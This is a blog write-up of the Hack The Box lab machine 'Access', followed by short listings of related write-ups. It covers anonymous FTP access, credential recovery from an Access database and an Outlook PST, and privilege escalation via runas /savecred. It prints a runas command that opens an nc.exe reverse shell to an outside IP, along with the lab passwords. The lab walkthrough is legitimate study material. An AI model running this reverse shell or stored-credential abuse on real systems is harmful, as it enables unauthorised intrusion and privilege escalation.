# Access

Hack-The-Box 6 / 72
3 min read
HTB Windows Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. GPO ⓘ Group Policy Object — a Windows domain-wide configuration mechanism, abusable for code execution across all machines. FTP ⓘ File Transfer Protocol — frequently misconfigured with anonymous access, exposing sensitive files. Telnet ⓘ An unencrypted remote login protocol — credentials and traffic are sent in cleartext.
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Access
  • OS Type: Windows
  • Difficulty: Easy

Port Scanning - Service & Version Enumeration

Terminal window
# Nmap 7.95 scan initiated Sat Jun 28 16:12:16 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.10.98
Nmap scan report for 10.10.10.98
Host is up, received echo-reply ttl 127 (0.26s latency).
Scanned at 2025-06-28 16:12:23 IST for 508s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON          VERSION
21/tcp open  ftp     syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open  telnet  syn-ack ttl 127 Microsoft Windows XP telnetd
| telnet-ntlm-info:
|   Target_Name: ACCESS
|   NetBIOS_Domain_Name: ACCESS
|   NetBIOS_Computer_Name: ACCESS
|   DNS_Domain_Name: ACCESS
|   DNS_Computer_Name: ACCESS
|_  Product_Version: 6.1.7600
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: MegaCorp
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp


Host script results:
|_clock-skew: -4s


Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 28 16:20:51 2025 -- 1 IP address (1 host up) scanned in 515.02 seconds

Enumeration

Port 80/HTTP

i found HTTP port 80 is open in Target machine, so first step is to visit the website using browser

image.png

tried running gobuster to find hidden files/directories but no luck here

Port 21/FTP

found FTP port open let’s check if it allows anonymous login or not

Terminal window
ftp 10.10.10.98
image.png

it allows anonymous login, and we found that there’s two folders Backups and Engineer

let’s check what these folders contains

image.png

there’s two files backup.mdb and Access Control.zip

let’s download both files, first set transfer mode to binary using bin

Terminal window
ftp> bin


ftp> get "Access Control.zip"
image.png

same for the backup.mdb

image.png

now let’s try to unzip the zip file

Terminal window
7z x Access\ Control.zip
image.png

it is the password protected, let’s check the MS Access DB file, to open it i used online website - https://www.mdbopener.com/

after uploading the bakcup.mdb file

image.png

there’s many tables, i found auth user little bit interesting, click on view to view the table data

image.png image.png

we found the engineer user’s credentials - engineer:access4u@security

now we can unzip the file using engineer’s password

image.png

the zip contains ‘Access Control.pst’

A PST file, or Personal Storage Table, is a file format used by Microsoft Outlook and other Microsoft programs to store copies of messages, calendar events, and other items locally on a computer

now to extract the data from pst file i used

Terminal window
readpst -r Access\ Control.pst

there’s mbox file created inside the “Access Control” folder

image.png

and we got the password for security account → 4Cc3ssC0ntr0ller, let’s try login to telnet

image.png

and we can get the flag from \useres\Security\Desktop\user.txt

to get stable and better shell i tried using the nc.exe but i got the error, the program is blocked by group policy

image.png

after getting initial access i tried searching for the interesting file and i found

image.png

now the thing here is we can see it is using the /savecred it means the runas stores the credentials in windows credential manager https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/StoredCredentialsRunas.md

we can list the credentials by cmdkey /list

image.png

as we’ve already placed nc.exe in security user’s home directory we can run it using runas directly

Terminal window
runas /user:ACCESS\Administrator /savecred "C:\Users\security\nc.exe 10.10.14.12 443 -e cmd.exe"

and on shell listener we’ll get the shell as administrator

image.png
Next: Bounty
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Administrator

Hack-The-Box 9 / 72
6 min read

Unknown Unknown machine - Administrator.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. FTP ⓘ File Transfer Protocol — frequently misconfigured with anonymous access, exposing sensitive files. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. Kerberoasting ⓘ Requesting service tickets for accounts with an SPN, then cracking them offline to recover the service account's password. DCSync ⓘ Abusing domain replication permissions to ask a Domain Controller for password hashes as if you were another DC. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds.

# Bastion

Hack-The-Box 8 / 72
4 min read

Windows Easy machine - Bastion.

HTB Windows Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). PHP NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks.

# Cicada

Hack-The-Box 18 / 72
7 min read ⏱ 45 min to pwn

Windows Easy machine - Cicada.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. Brute Force ⓘ Systematically trying many credential combinations until one succeeds.

# Netmon

Hack-The-Box 45 / 72
3 min read

Windows Easy machine - Netmon.

HTB Windows RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). FTP ⓘ File Transfer Protocol — frequently misconfigured with anonymous access, exposing sensitive files. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement.
Comments